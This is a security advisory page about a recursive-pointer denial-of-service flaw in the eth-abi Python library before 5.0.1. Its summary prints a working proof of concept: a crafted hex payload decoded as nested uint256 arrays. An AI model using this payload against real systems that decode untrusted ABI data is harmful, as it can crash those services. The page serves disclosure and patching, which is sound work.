eth-abi is vulnerable to recursive DoS
Key facts
- Attack vector
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- Privileges required
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- User interaction
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- Attack complexity
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- Impact type
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- Confidentiality · integrity · availability
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- Fix status
- Fixed
No CVSS vector from any source. Fix status from GitHub.
Summary
This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue ```py from eth_abi import decode payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020" # OverflowError: Python int too large to convert to C ssize_t #decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload)) decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024))) ```
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
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| — | eth-abi (PyPI) | before 5.0.1 | 5.0.1 | Patch available | GHSA-3qwc-47jf-5rf7 |
- eth-abi (PyPI) Vendor— Affected before 5.0.1 Fixed in 5.0.1 Patch available GHSA-3qwc-47jf-5rf7
Remediation
- Fix · GHSA-3qwc-47jf-5rf7 eth-abi (PyPI) Fixed in 5.0.1 Advisory →
Timeline
- 2026-10-03 Threatist record created from GHSA-3qwc-47jf-5rf7
References
Sources
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